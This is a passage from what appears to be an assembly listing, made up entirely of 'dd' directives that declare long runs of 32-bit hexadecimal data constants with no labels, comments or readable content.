0BA0ABFABh, 50D221h, 8AA1C819h, 91264AA8h, 0E906099h dd 8C24D585h, 83074A94h, 912DE295h, 0A8CF4D50h, 3C42003Bh dd 241E18E5h, 38B87CC5h, 0C6046D00h, 0B4F1ECBAh, 0CCE958A6h dd 24095427h, 0E7246C82h, 9F5084E0h, 0EC41CA00h, 9826A3D9h dd 0A889D448h, 738124C0h, 2B00D584h, 5AD95007h, 244C2E1h dd 0F9720BFEh, 0D4522FA0h, 0E100A084h, 15CC22BBh, 0A958DCh dd 0DECD9D0Eh, 7368F071h, 9FBB78A3h, 4F52FE0h, 0E91308EAh dd 821A8F8h, 687DE11Bh dd 62008C48h, 0F2DDC67Dh, 2613FF8Fh, 0DC907E05h, 5EDACD5h dd 97758C87h, 5BF4D38Dh, 0AD79D28Fh, 0EBE0C8AFh, 13083E37h dd 0CCBDA500h, 8E107D7Bh, 0D090A1B1h, 0C0773884h, 3B90E2FFh dd 45D98006h, 0A59D9BF3h, 5E4D0376h, 0FA7F3A93h, 6D368100h dd 771357D2h, 0A6A4008Bh, 0EEA92083h, 8019ABAh, 0B3CB74D9h dd 983D463Ch, 9B588B00h, 7A163D6Eh, 0F665C000h, 4A67ED2Dh dd 0B8D0E81h, 0CE1074Ch, 2420AEA1h, 400A90Ch, 3D2644A5h dd 382B98A4h, 5289C856h, 8013D91Ah, 7E07DFF8h, 9C118F60h dd 0DB5E14h, 0BC53F873h, 97ECEFA2h, 0A36D0600h, 0B20CF21h dd 1E0E3255h, 0CC725C69h, 43893400h, 0E96141CEh, 0D977FAh dd 4D60D5C7h, 51B53807h, 64265D26h, 0CC004B16h, 29C4C1D3h dd 81F8607Fh, 2E49E2AFh, 9B9A6000h, 3B3F316Ch, 0EA5200D8h dd 7826E705h, 0E509892Dh, 0C85C751Eh, 5DFF34Ch, 6C2BB4E0h dd 3CD50706h, 0A42F31CAh, 33C0F85Bh, 23B890F3h, 0B6891188h dd 9189270h, 90148496h, 0C940FB4Fh, 0ED9E0224h, 5FABB613h dd 4F07ECD0h, 1B14E27Ch, 0A06A4956h, 0B5B66990h, 8C270B08h dd 5A20B047h, 9E588E1Ah, 9F6A0010h, 6CAA326h, 47B053Bh dd 0A474E3AEh, 0B30289A0h, 481A8C85h, 0D9CFE138h, 0F9128468h dd 650CC8A6h, 6F68AF50h, 8A4EEF00h, 2C87EB30h, 62D300D8h dd 9D664C70h, 9050294h, 8E27C496h, 0BA0088Ch, 3A507E6Fh dd 0FD3D6498h, 0D42F7A00h, 698A8ECCh, 5FA01AB3h, 50DA2119h dd 0A039509h, 9FC48074h, 9CA31781h, 0F66C4048h, 0B202A6A8h dd 0B5EEC891h, 0FD9880DFh, 0B7F7764h, 6FF06D69h, 0AE1B1400h dd 0E94A0A88h, 0DF8E0020h, 0CDBB2EC6h, 0CC96142Ch, 0EC10341Ch dd 2C202F4Bh, 81CAEA13h, 0C4B35900h, 856797C2h, 40E09EF0h dd 1FA7E58Fh, 2E0B93Bh, 53E20DDDh, 88D921h, 6D1BAA8Eh dd 3728E5A4h, 10000C5Dh, 0A0C4A656h, 8CC8E3h, 25838D74h dd 269CD90Bh, 9B462EFh, 0E85CA6B7h, 1A4EF4h, 5F301668h dd 0E1B1A2C7h, 76A32502h, 414D26CBh, 18505004h, 1E37398h dd 44D4F93Eh, 30D5E7F3h, 0DB018830h, 6D91DE49h, 0A8E055EBh dd 13822428h, 0AC4200A8h, 58AE3144h, 0C77D5E17h, 0D85CC04Eh dd 7BF43959h, 2C1FAECh, 0D16D54BEh, 0B1C04548h, 231888B1h dd 0DB90243Fh, 3F0899E8h, 42F093A6h, 5921F77Fh, 4AC01780h dd 1C7CC4h, 0DB5F6B60h, 0AFFD49A9h, 0F2D2B80Fh, 0DFA74289h dd 88987987h, 0C3806074h, 7522DAB1h, 0B22304E6h, 0B4AAF8C6h dd 880F06C8h, 7DEA321Eh, 66127BBDh, 58A0DC6Eh, 87A35057h dd 0E74412FCh, 46AC839Ah, 270C97D8h, 8733626h, 0CB4F9541h dd 8D75C4h, 0A05F8445h, 2FDC89EAh, 0B44842F2h, 4C912884h dd 3E06F201h, 7A24657h, 0DC814CD9h, 1F494D7Bh, 0DF1082F6h dd 590FB85Bh, 882CC0h, 0FC7148CAh, 97072D4Bh, 79732FD3h dd 0C4025E00h, 45DE28BEh, 4A713C18h, 83893F81h, 0D5F143A5h dd 809EFE7h, 451AEBFDh, 35AA8004h, 2A9E250Ah, 2B44FCB0h dd 0C17016A7h, 0A08CC83Ch, 739D3Fh, 0BC114DDDh, 177D84C3h dd 0C0EA649Ah, 5F14F528h, 156F9D04h, 4CC2606Ah, 0B5FCC06Ch dd 734C00A7h, 0F565D19Bh, 9A2627C7h, 11446063h, 0C033D4E4h dd 6A3003B0h, 5D7ED58Fh, 0B44F805Bh, 694A4078h, 2C14DF17h dd 12AA7D9Ch, 8B6800C0h, 6B27D5C2h, 7B40C600h, 6A14EDB4h dd 3C23009Ch, 3436C8Dh, 0C77508BBh, 0A671611Dh, 0F75FA581h dd 55F06B44h, 892F6214h, 4C728F26h, 0B1F8CF12h, 8961DC20h dd 645C040Bh, 0C8A4F963h, 0E6173EF4h, 4030D826h, 9CEF9F3h dd 92F4D5EBh, 541B5980h, 48122C9Bh, 0C8D17A88h, 0E4EC5F8Fh dd 0E09D0BE7h, 4A888994h, 0D1BF039Ch, 0D7D25668h, 977838E0h dd 21340458h, 114112Ah, 0F411643Fh, 0E1EC3533h, 0FE92248Ch dd 4C8E08DCh, 93CD206Eh, 64991Bh, 0F80C0896h, 0BC6531C8h dd 0D514C17Ch, 0C0FC2695h, 0E77919CAh, 8A410EAEh, 0AFE05EF9h dd 75935481h, 0C7F2D602h, 0C656C29Ch, 609E0F6Ch, 0DF84C464h dd 0E454A474h, 790A7F01h, 1EF3E645h, 7D8B860h, 0D1B5C606h dd 0F980C87Ah, 9BE1D48Dh, 0B8505A4Dh, 8117382Fh, 0D0772CE6h dd 0C3DBBBh, 0C2A1AC78h, 145206FEh, 264410B0h, 458A00AFh dd 537844FAh, 0E507E1AAh, 85A95E40h, 0C6A2F6A2h, 0C4762C74h dd 0C07767D8h, 0A1D28791h, 2E630500h, 0AB5A14E8h, 7D4A0BF5h dd 0F890805Ch, 0F0021C2Fh, 0D5ECDFB3h, 1F207904h, 32B64089h dd 207CC57Eh, 27DFE603h, 0C8AF5EDAh, 4A1B2405h, 0BC2C30E2h dd 0D301D494h, 0CA9C6591h, 682C0180h, 5E12CF9Ch, 1D9D7040h dd 8800B5C8h, 0CEA1C0E6h, 1C204Ch, 0A4304D57h, 0E025EF5Fh dd 0BA87952h, 0DD1A78h, 0C0D626C2h, 3D5B00EBh, 0F00BAF7Ah dd 794E55ECh, 5E77CC4Fh, 0E666109h, 746C84E0h, 1AC5CA4h dd 20E57E09h, 0FF972840h, 0BBB56102h, 0E65F2CD4h, 9600018h dd 0D4EF687h, 25726856h, 5F8C5C13h, 716B5820h, 0AD0503CFh dd 97CE9563h, 72463EC1h, 110C0080h, 0D06DCF39h, 0DC4A1205h dd 0DD2C907Ch, 0A61E26F8h, 7B07BA64h, 2950C5E6h, 131053D3h dd 0A4AFE45Ch, 0C704F114h, 0E5B1044Fh, 0E20FD0C0h, 26AB28F8h dd 64DF0344h, 8B7FEAB0h, 0C2B16113h, 0D221ED00h, 1790967h dd 7298E38Fh, 6C5A9C03h, 733D872Ch, 9684530h, 5671049Fh dd 40F77F33h, 5A909391h, 0F92800A5h, 0AEED3AE5h, 6000F409h dd 0D9EF19EEh, 1FBB7ECh, 0D685F3C4h, 222D17D3h, 0A33C040Ch dd 4482EA53h, 59C8801Eh, 2576A96h, 0CEB4F16Bh, 34C4751Ch dd 8AF45200h, 618BBA40h, 76F4B2F5h, 84B95C7Ah, 0EFCC6503h dd 180797EBh, 0EC74026Ch, 0AC207F15h, 16B7779h, 0A623E270h dd 0E05ACF7Ch, 25007266h, 0CD4BDC7Eh, 2E780668h, 14194Dh dd 2FBD8357h, 0C7035CA4h, 89F3A250h, 729FC8BFh, 60A7059Bh dd 0C16214D6h, 7C4FA04Ch, 2F4680F8h, 0FAB81ED0h, 43B8BBh dd 0D9F39390h, 0FD5CA29Dh, 0B0ECA130h, 51043314h, 73C8547Eh dd 0A13200A0h, 3ED8CA78h, 0E200FF09h, 596E0D4h, 0EDAD40h dd 9DCE27E7h, 88733067h, 6C88CF4Bh, 0C95E0E85h, 406B9568h dd 0B80A0009h, 50DC3C91h, 5F609482h, 83005C52h, 8CFCC4A8h dd 0FB56AC0h, 0D8337053h, 0D205F800h, 88B4CF94h, 0BB9FC540h dd 3B21B87Bh, 1F801B88h, 0E8554F54h, 99E228A9h, 3650F4BCh dd 0A416018Ah, 0BEF8E918h, 13CCE09Fh, 2400A17Eh, 43195F95h dd 9EC79EEEh, 142811F8h, 2E5C8D26h, 0E1190E8h, 0E7078C01h dd 0BEE018C4h, 0D19F0021h, 0DB0ACE6Ah, 297B2D96h, 43C86098h dd 1A22C405h, 20B44632h, 23BC00F4h, 0C7672BE6h, 903B91FAh dd 55C20566h, 808064E3h, 0C0134625h, 0E79CAB31h, 7B146752h dd 9C8990Ch, 0E48D2826h, 114234h, 6C1F6AC4h, 0EC7341Dh dd 8CB991BBh, 3E38C8F7h, 0AF01ACECh, 17F0D0E2h, 9EE82145h dd 9FCB16D7h, 6770009h, 28ADC772h, 0D61A4D12h, 0C25AE820h dd 203BFB18h, 5B557664h, 3837612Eh, 0F27A1D3Fh, 4A4F31Eh dd 0E0B29513h, 0B08BFF00h, 0CB5411EEh, 8DE1EFF1h, 0C844E435h dd 533082F5h, 0C6D2A326h, 7A9B000h, 0D66C88DBh, 96F80A4h dd 0D23EA0CCh, 0D9170B63h, 0F2009079h, 0D853001Eh, 16F44080h dd 0A5008DDAh, 63154D2Ah, 0CB89E21Ah, 18630B9h, 854EC01Dh dd 9A80C8h, 0BB8A9A1h, 67FCE028h, 0C8A5B307h, 8EA7944Ah dd 0FAF754A0h, 189B1D5Bh dd 53A2C386h, 0CCDD46C8h, 0B1EF558h, 6A80F1EAh, 14C261CCh dd 9A730228h, 5F75B731h, 0B90D5A20h, 8ABE007Dh, 9B4EE94h dd 9B2CB2E5h, 5B110C3Eh, 24A07F2Dh, 0ECABDCEDh, 1341DD1Eh dd 0EB93E7DDh, 0ED0CC8h, 6A09F462h, 0A951231Bh, 73055898h dd 0E708C03Bh, 0E20364F2h, 0B9B2F224h, 743077C8h, 0F92F4CEEh dd 642829A6h, 4883BDCh, 0D1DA2B80h, 0C63235E2h, 78BDA600h dd 0B40B6B15h, 47731313h, 0C0880FA8h, 0D0C485A7h, 771D80Fh dd 0E0B45575h, 44817580h, 997AB7B0h, 0EAAB0060h, 625DE9BBh dd 0B3EF921Dh, 8E1B2683h, 0C48CA29Dh, 40804F9Ch, 26257D0h dd 9D3AC298h, 0E0C98096h, 908CD00Ah, 9A8D0038h, 0F63204A0h dd 0C08A26AEh, 29BDA874h, 0F87DA6h, 7096901Fh, 4D01DD7Ch dd 21AE02Fh, 0F87C155Ah, 9EDA7982h, 52400C56h, 91C48A3h dd 4DFD061Bh, 0E45C78A4h, 525E1BCh, 36050093h, 7073BA7Dh dd 299409A9h, 0B879AAF9h, 6AC7B580h, 29C6A696h, 0E47F3Eh dd 530D7E02h, 6504791Eh, 29C4AAE9h, 66706482h, 3D60FBFCh dd 2D40010Ah, 541063DFh, 0DBD82033h, 7C632441h, 0E7F01602h dd 73C0E23Ch, 0C000B5A1h, 0A31F219Fh, 140F8EF9h, 18ADE3C4h dd 0D2C70300h, 784244E7h, 5426CB00h, 9D08FEBh, 9BFB1C70h dd 0ED3D8B7Dh, 80444804h, 11E41E34h, 487E3F27h, 70DD94h dd 446E0B13h, 6AF9C864h, 80A8745Ch, 47B418E1h, 24E30017h dd 6A60D9C5h, 3805C89h, 610500FCh, 7014EFA6h, 437FF58Ch dd 0F408012Eh, 0C8C17B01h, 4B2A9427h, 50488004h, 8A00AB9Ch dd 730A9671h, 58411793h, 322EC288h, 0B2460264h, 548080B6h dd 97E6A81Eh, 0FD6B8900h, 0F21D9D7Dh, 0C1D12C8Eh, 0F61198h dd 0EF8772DDh, 13DCC5Eh, 0E8B7C60h, 0DA681502h, 0AC601456h dd 0E8FF9078h, 3DE42DD4h, 0D9E01490h, 16EC1E01h, 73C9F7B2h dd 2C29D3DCh, 1C46A4DEh, 7CEC6Ah, 6D06E647h, 3331AD3Bh dd 0C00C1C2Ah, 27D4BC64h, 3048C817h, 920CCF29h, 0E060B466h dd 6A0713BBh, 393CF295h, 91DD003Fh, 63275BD3h, 351D0102h dd 0EAA1F1F4h, 2402C2Ah, 8086D497h, 9DCB20FAh, 7F1F682Eh dd 0FF80116Eh, 0F44372E0h, 26650063h, 8FB53B39h, 0AB0C5305h dd 71320C5Bh, 0F63F2A4h, 8D06878Bh, 550B4FC1h, 48B82D78h dd 0F96D09F4h, 1BAC10A9h, 0BA68A3E4h, 9D04E0C5h, 0E7760CC4h dd 0BC3922ADh, 55778C03h, 0A04163ACh, 7A1F9B9h, 7A453F06h dd 0B20555C1h, 0A60B00E4h, 354B3B0Dh, 0A54F0069h, 14F53E7Bh dd 9C1DCCD4h, 0F18028B1h, 0AB6BCF26h, 51A70E77h, 0BF9DA1C5h dd 17D74085h, 637898DEh, 598034B9h, 9FE07B2h, 0A9D60017h dd 2AA0999Bh, 328EF4Ah, 2C03147Fh, 0C83494D7h, 0E692D8BCh dd 0EACB0596h, 808E93E2h, 0CA16EA0h, 0A43027h, 973C5EF8h dd 99550006h, 52A5F09h, 7E16F8E5h, 9C88CB25h, 0DCB50012h dd 27078594h, 0B0049FBCh, 145CFA2Ah, 0C8F2CF40h, 4F0124E6h dd 0D90BDC4Dh, 10DCA7BCh, 946C7D06h, 0CE28405Ch, 4C00C166h dd 881CDCEBh, 4128D8Eh, 345C1BB9h, 9B04B0A2h, 165E413Ah dd 0FC064C45h, 2F184672h, 5B0557B6h, 55208CC5h, 3600C6F4h dd 7731FB12h, 168F8CE6h, 20AF4DA1h, 32789AF4h, 79106700h dd 19B0ED2Fh, 2C57007Ch, 3B0B051Eh, 5602E60Ah, 2AF6550h dd 23C7E2D7h, 1676BADCh, 0C8B7D988h, 990F81FCh, 0C0D5C8FEh dd 0E5D73F64h, 134F7C06h, 1159D20h, 94D196C0h, 0FBB42023h dd 1BEC700h, 0A517E334h, 5AEA04C3h, 40AD7595h, 5CECF173h dd 336C009Dh, 6206CA0Ah, 82005718h, 4BD9F3C3h, 26E74572h dd 60D4EAA4h, 0A7312EF1h, 97E26E3Fh, 62039B6Bh, 0D972838Dh dd 0A86C6462h, 7E14ED83h, 6D8DC690h, 44EC942Dh, 0AF1B07A0h dd 0E1641577h, 0F99B5859h, 6B39C05Ch, 23980800h, 88F1550Dh dd 0F3C10B83h, 400BA7C7h, 0A535E800h, 57030760h, 319CE180h dd 9805B867h, 79552808h, 85720140h, 1B216892h, 4862DAh dd 3256007h, 48970D3Fh, 0AA041C70h, 806F05E8h, 0EC6749ECh dd 5B5DA0A0h, 8CEA8907h, 0C67268C8h, 0FA608775h, 50B99870h dd 78150062h, 5D357680h, 5105CB3Eh, 0D39681B1h, 0C2FBD490h dd 0A3F825E6h, 0C51B7C68h, 0AF9197F7h, 3451A0D0h, 156307D6h dd 20A61326h, 74A15B2Bh, 0A585C0C8h, 0B9633490h, 0C9D63700h dd 0C1B22DA2h, 4FC605DAh, 0FED0948h, 0A6A3E9E8h, 4CE007B3h dd 8028D19h, 0E83094AFh, 754464AEh, 0B4C71FE0h, 399D0F64h dd 0AC353762h, 0FF3F6844h, 69998007h, 0A21B6D02h, 4B2A3DBBh dd 0CD06D984h, 8F224h, 9455A32Dh, 42267D8Dh, 9E4D2E8Eh dd 28115D02h, 0A7A780C5h, 0F84CF1B0h, 98910B3Fh, 3C904626h dd 2B00CD94h, 6D6C32F4h, 9E3521Ah, 5853D409h, 0C80E1458h dd 4BADF34Ch, 0D458998Ah, 3F6F96C8h, 0EA9CB272h, 0B191425Dh dd 0B4C367A4h, 0A260E8E0h, 0FF00F494h, 0CCB8838Bh, 314CCCB9h dd 405AAF1h, 0E89A7D0h, 435654C0h, 0A2A002C7h, 0CF2F4B36h dd 9163E860h, 323CB50Ch, 95856428h, 105450B0h, 64F28B00h dd 4F41212Eh, 61CF00D5h, 0EB0E2B26h, 0BF00762Fh, 934605EAh dd 0A253DAh, 0FE96C887h, 35D38073h, 0C4C71A27h, 94262584h dd 38E410A9h, 1CE7173Dh, 0D74042DBh, 358D2FB8h, 133B74B5h dd 22C2E79h, 39615516h, 8F1F58F1h, 82CE6900h, 3CF24CA0h dd 0FA874ADBh, 0F92835C5h, 0C4EF1CC8h, 0F500A3E8h, 1C73782Fh dd 0A8175CA2h, 0DADFB8h, 0D8E70EFFh, 0DCE8022Fh, 409E1EEAh dd 0F3F9AA40h, 59F73C32h, 43CA200h, 6F193565h, 9029D800h dd 0AAF5DF38h, 0B65F5005h, 95340161h, 9F78307Fh, 9A26C819h dd 48F490B5h, 4C04C6Bh, 31AC5E00h, 0B4F3BB57h, 0F1472102h dd 7EF69885h, 396A40CCh, 0BF006C46h, 0F05FF703h, 0DA0795h dd 5B0A7DF2h, 0FA5CBB6Bh, 4306CE00h, 0CCB55242h, 8078B1EDh dd 317E46FDh, 6400C5D2h, 0DC296371h, 0B17F82Bh, 30135532h dd 177EBC69h, 342C1040h, 16BF07A8h, 7711B2Fh, 0D49E8024h dd 9A134219h, 6C00C4F0h, 91DBC64Ch, 978F0081h, 69EA0C7Dh dd 43040440h, 0F163E641h, 26827EC1h, 9850223Ah, 0D44070C2h dd 24004F96h, 0A5D1654Dh, 48A347FEh, 7102704Eh, 0ADF92195h dd 0F20064DAh, 0F3B7D38Fh, 0CCC28Eh, 7EA1E09Fh, 0B5484CE5h dd 43C5B600h, 8C781C83h, 679200D1h, 17AB5FA7h, 8406A476h dd 0CF618564h, 262B44F8h, 15166B00h, 0DE8EF158h, 20EB4AE8h dd 1A324A34h, 13EC7800h, 2F8B4CADh, 378C4h, 36AADC6Dh dd 0D550AD8h, 0C7803894h, 0C525E7F2h, 3EB8997Ah, 0AD30D180h dd 0C31955A0h, 0AA001B76h, 2AD6424Eh, 7BBC893h, 1C756574h dd 0F8E8F1B1h, 80982DA9h, 14E594BCh, 8058996Fh, 4812D20Ah dd 90BD37CFh, 1E7B7C2Ch, 0E03A69h, 0CACC0F67h, 104C7005h dd 23451D64h, 7E4E4A5h, 0EDFD5220h, 76DCC0DDh, 98008A88h dd 0C8562455h, 0C6AFAB3h, 0AA055332h, 16453F98h, 4E02C833h dd 9E3BC809h, 388FE1E1h, 0EC8BA014h, 91E50092h, 0C75904F4h dd 0FE72BC78h, 0B5D4400h, 81E709ABh, 76A51327h, 403CC8CCh dd 0DBAD9C00h, 0A4F79066h, 2F1E1DA3h, 8E02403Dh, 1892C322h dd 0E6EC0803h, 0F02B5A9Fh, 3B4EC7h, 0D7D8041Dh, 4477D267h dd 0B55470Dh, 4235915h, 0C2B97907h, 4EACF06Ch, 89173ABAh dd 4C001B7Ah, 0D25AA450h, 0A8402464h, 0E26500DCh, 3BDE25F4h dd 283EEE0Bh, 6B143195h dd 8870ABFDh, 0F91B0094h, 0A8C8847Eh, 0B5757B45h, 1095787Eh dd 3A026500h, 0B30058D3h, 0D49FFCF0h, 10FAE83Fh, 0C4FF9C1Ch dd 0F7944Fh, 15951A7Eh, 9CCAF0CEh, 1B4A4010h, 3E000F04h dd 5951D47Fh, 0D3DC7ABh, 0E82BB1DEh, 90688Ch, 0ECAD7854h dd 888CC51Ah, 0E6E63806h, 0C8A42F28h, 0B17E56F0h, 3C90DCFEh dd 0E5D1BF09h, 60C494h, 32CBF4A5h, 5C51B6B0h, 0DAA96700h dd 0B3D9574h, 0C66D00CFh, 0EA540735h, 10B77F93h, 115960h dd 0AC3071B7h, 0E30ACC24h, 0B31F8907h, 19912AAAh, 203E43DAh dd 0C2179A4h, 0FD00C679h, 40D510D3h, 9B413Ah, 710E5663h dd 1AFB943Eh, 0CC56D64Fh, 83C4B0h, 4264FD85h, 0E7387D0Ah dd 794A0513h, 0F135D000h, 16C79DD9h, 0AE5AD292h, 0FC31C716h dd 856EF71Dh, 4F0009B4h, 1A00D879h, 0F3C977D4h, 55CD1ED7h dd 0ECC44F89h, 0A8328F21h, 6714D8F8h, 25D29609h, 9040D928h dd 8DC48006h, 3FC5161Ah, 2CFC11A0h, 372186Bh, 36495BB9h dd 0F4D2E3FAh, 90B55790h, 0F2B2AAA0h, 5B1801EEh, 37664AF5h dd 9A32016h, 0DA852A02h, 0D275D2BDh, 0C1E83758h, 8F0BD01Eh dd 0B71CFF81h, 0BBC0726Ah, 27CA3ED5h, 385560A4h, 0AED024A2h dd 62382095h, 0B5B1A1h, 20A5C654h, 4541E7D8h, 2D1FF60Fh dd 15C050F9h, 616B7330h, 0C22476F8h, 404EFC7Dh, 0DB35EDD9h dd 8A70002Fh, 0D5A1364Fh, 0A50554DDh, 37850B87h, 0C005F4B8h dd 0B326ED0Ah, 0F93389A8h, 23F800F8h, 4148C4C3h, 0ADB2AC00h dd 0F965D18Bh, 94C7176Dh, 0FF8C8822h, 4D027F7Eh, 0BBCA437Ah dd 2024AE38h, 8582D8D2h, 22A20E5Bh, 0F140D9D5h, 32072388h dd 0D0A037F6h, 81B53F1Eh, 0EDC6B2C8h, 6B83A039h, 2007276Dh dd 188A3472h, 77A4B8B0h, 815F1EE0h, 2DF1E0Dh, 0F65BA26Dh dd 9540BC7Ch, 0BC51A5h, 0BAAF7415h, 3D418F77h, 0C9BF39h dd 3BBDB664h, 44AEE61Ch, 0D5001E1Ah, 11F935E9h, 0FD9233h dd 274E1083h, 1E3957A6h, 88BD151h, 72072480h, 1D86867h dd 949E2830h, 4C3675D0h, 0B293D497h, 0DDC70088h, 0A7D7B594h dd 9FD33EC4h, 73820401h, 0DB262970h, 17EA1E3Fh, 542079D4h dd 0B7A58Fh, 0B822F408h, 0FC21C9FFh, 0B14DFD00h, 0E3BE8894h dd 0EFC124C5h, 4592088Ch, 0A526D480h, 0BE9DB46Dh, 0CEAD414Ch dd 0CAA8D063h, 130426B0h, 79DA7AE9h, 3E654A4h, 271C6AAh dd 0CC906136h, 3077DFA3h, 86E44F1Dh, 78ECB149h, 462E0B4Ch dd 0FD8253D9h, 0D0FC0F56h, 4FDA414Fh, 0D0739626h, 0F20D4904h dd 3C78A97Eh, 0FA1C80FBh, 7D01E99Bh, 1A8400C9h, 4095D534h dd 272E05F0h, 0C3616C91h, 284073ECh, 27E92DA9h, 34C4E00Fh dd 3F841203h, 88091690h, 487630Eh, 719C691h, 5D20217Fh dd 0EB272F8h, 16184017h, 1E0DEF20h, 9276744Eh, 7BB08873h dd 0CC0B532Ch, 463EA604h, 0E9D91B05h, 1DAF1190h, 0A7E70h dd 243A0958h, 9F4DA843h, 5042D038h, 0B10438DAh, 733514FEh dd 1F480A4h, 0AC4D8E8h, 0C8B85B2Ah, 0B3A4D26h, 3DD307E7h dd 981154Ch, 202BBDD9h, 4348CE84h, 7929CC2Ch, 28EBF00Ch dd 0E8EC2C6Eh, 90E267ECh, 27CEE626h, 48C3C607h, 0E13EC0B7h dd 20B3FB97h, 0AD80E478h, 49DEB56Bh, 90D5D61Eh, 7A5842C0h dd 4B6F6D24h, 5F3C881Ah, 0DC77A81Fh, 4CECD640h, 11046A65h dd 21BAEE7h, 41A779EDh, 81F260B4h, 0D49900CBh, 0C9F4BFB9h dd 0B0091249h, 685D0354h, 31BCCCh, 0E162A042h, 0DFF4AF20h dd 320DCD00h, 0E6783019h, 16F4B05Ah, 0B346DA87h, 0E7B38BCh dd 0C49BEA79h, 0F0C0C3A1h, 8FF13Eh, 4D610663h, 7D8C5C64h dd 31808896h, 0F1BA9E10h, 89A2144Eh, 5E80E0ADh, 6B9C6FEFh dd 0CF11FB07h, 1CC0FD87h, 0BDBD3DFh, 56784BA6h, 803E285Bh dd 0C60A9F2Fh, 9C18CAB8h, 0B80349C4h, 0A3D1E05Fh, 0CC7C74h dd 90F54669h, 5CBFD9FAh, 0BE0000D4h, 36EBBCBBh, 0CC9979D7h dd 41BA170Fh, 0EC4CBF1Bh, 78C0402Bh, 0EDD2D8FDh, 0F67E22h dd 98A5763Eh, 59B19D8Bh, 4DA42D00h, 0CE033655h, 88284FE9h dd 83014320h, 9A78D3C0h, 0E7C4ECDCh, 82AD34F8h, 6C6CCC21h dd 0DD53CA00h, 4F8D0A3Ah, 9FF4096Eh, 64908078h, 0D85C5ACAh dd 0DA030178h, 0C3F1957Eh, 7D9674C8h, 0BA7C0165h, 0D478804h dd 7005F406h, 48FAEEE1h, 795ED80Fh, 0E78627FBh, 0B8DB5CA0h dd 74BC3EC5h, 45E29E0Ah, 236943F4h, 0CE371600h, 55CF6B30h dd 0AB620A61h, 4C45E67h, 0CC34521Fh, 0D998E30Ch, 0F906830Fh dd 8C4918A3h, 0BC30541Ah, 93B91354h, 0FB08207Dh, 230134F8h dd 1215C0E3h, 0B8FF20C7h, 0C05DFh, 1A41DA74h, 1F8F4D86h dd 0FA6D8E1Eh, 0C089D913h, 3D017872h, 704FE3Ch, 0B120F81Eh dd 6F504A01h, 3B91F266h, 69C00BE7h, 0AC908063h, 8B00B972h dd 0F77B17E1h, 264ED08Eh, 0E0453Ch, 5206894Dh, 0DAF0B51Ch dd 0B55F113h, 4D12BCB2h, 76C030F7h, 800F43Dh, 6C077145h dd 140FE8Bh, 613B1C66h, 0E864C3CEh, 0C002A3E2h, 94D143DFh dd 0E0ECE36Bh, 28C76031h, 116C2D18h, 42B3CF9h, 5FA1E7EDh dd 4F0014FDh, 889348F4h, 0E00172EFh, 0A42FAB73h, 76D0E924h dd 5FDD03FDh, 8DC717DCh, 0AE405107h, 18B03E5Bh, 17F8943Dh dd 20808B76h, 0D6032EC8h, 81FA8E05h, 1CECD154h, 431D6F00h dd 5D3C599Dh, 510E1044h, 5CF6CAB1h, 5EF626Ch, 33407456h dd 16BD2BBh, 9491D7F8h, 3C721675h, 99B38190h, 0ECE45945h dd 0CCA35E5Dh, 0C8521BC8h, 0A8F917D0h, 84E2E088h, 968D3002h dd 46A2F8FCh, 68190B34h, 0F8B0A326h, 0F7178BFCh, 7C003CE0h dd 34481E3Ah, 6B7917C1h, 7440309Eh, 0B700FD50h, 0A3E7177Dh dd 0E9030Dh, 8E0B9E11h, 0D559BECEh, 0B8732F01h, 15A4F8ECh dd 2F8B5852h, 0C60B5840h, 88986F44h, 0F28E8100h, 0AA053188h dd 7EF807A9h, 20615684h, 779E7096h, 754134Ch, 1A85F166h dd 0C4587592h, 0DB823EBCh, 2FC90100h, 997C1C95h, 0DA9BC000h dd 443F853h, 4AE40157h, 4C05ED2Eh, 9DBAC007h, 18B45A05h dd 983389E0h, 3A15D86Dh, 10209773h, 253EB8BAh, 2B67605h dd 10C87DA6h, 0F6030089h, 0E31E0A4Bh, 6C1EF32Dh, 35C023D4h dd 0D694FD1Dh, 0E91C008Ch, 5F162A2h, 0EA5B885Ch, 0B7AB6023h dd 983A81B0h, 0CAA20ACDh, 11E876A4h, 81643F26h, 0CECC897Ch dd 82CB859h, 2B20B80h, 0A6008ED2h, 42ED479Ch, 9A9187Bh dd 0D02A2DC1h, 4016B084h, 0A46DEBDFh, 0F6C70F89h, 0F36B1F97h dd 841CC871h, 2F20409h, 0FED7186Ch, 0FE2D419Ch, 0F4A131CAh dd 0EA146050h, 281CA8F8h, 7248CC25h, 0A49D1D76h, 0FA65F240h dd 0EA495536h, 988D0066h, 0ACC818FFh, 7F0F684Fh, 7BA2CEh dd 0FA55C34Eh, 157437D5h, 1D692048h, 0E0025EDEh, 1A6614FDh dd 5871C8h, 0D992FF6Eh, 3CB8F2DDh, 18A2EF4Bh, 0DF3E810Eh dd 0FDA82560h, 0BF00CF58h, 6692A034h, 1F7252A4h, 1715CECDh dd 78F0C12Fh, 5FC45208h, 1600F45Ah, 3FF4C62Dh, 2AD87B8h dd 88974CDBh, 38D47DAAh, 0D71AA080h, 113B9BEh, 0EFA4EAFFh dd 0D3AFAA04h, 0BC85E0E9h, 38404A29h, 0CA7B10C3h, 0CD15003Ch dd 7050AE25h, 23483943h, 35380148h, 992826A3h, 0E705CC29h dd 0B8156805h, 32F680F8h, 3F02C556h, 1D873A59h, 60360DF0h dd 2FE70964h, 8498747Dh, 5D982612h, 0D107A4D2h, 0E2A778h dd 580C115Dh, 7E0D298Fh, 591BE9A3h, 35A07C93h, 6207ED28h dd 3ECBE73Ah, 0E609D710h dd 0EC560A14h, 242C0F55h, 7D012D4h, 40158C06h, 24379D3Ah dd 826BCF0Bh, 50443Eh, 0ED3154CCh, 4A1F8E30h, 6A80CE50h dd 0ADDDF917h, 0E8626023h, 0EEF5C999h, 0C104026Ch, 298A513Bh dd 58C1E042h, 67388209h, 60305F01h, 35A238h, 0AB71BFAEh dd 3BF01EE3h, 6C405D5Bh, 0D7EC9A28h, 8DD0018h, 72BA459Dh dd 0B7F0884Ch, 8FA42400h, 0E80AD793h, 0C17DFEC4h, 1758339h dd 1BF0D0CDh, 1566A212h, 0E249820Fh, 0C8EC093Dh, 0F54D872Ch dd 0B57F2670h, 9BFE1C20h, 0F7011856h, 737966E7h, 0C081F5A9h dd 548E1A57h, 903D5Fh, 0FE088CE2h, 1C2439AFh, 57B13D73h dd 0C2831CD7h, 115B9E3Ah, 5F946C7Eh, 0E2C1076Ch, 8CE08D1Ch dd 53DFF0h, 0D3354FCCh, 0BC7783CEh, 0D9BB4200h, 0F65EFC07h dd 0E1B92EF3h, 35811E8h, 6041D8FAh, 5BEBA822h, 0C37A84h dd 0AAE77ADCh, 0A4302894h, 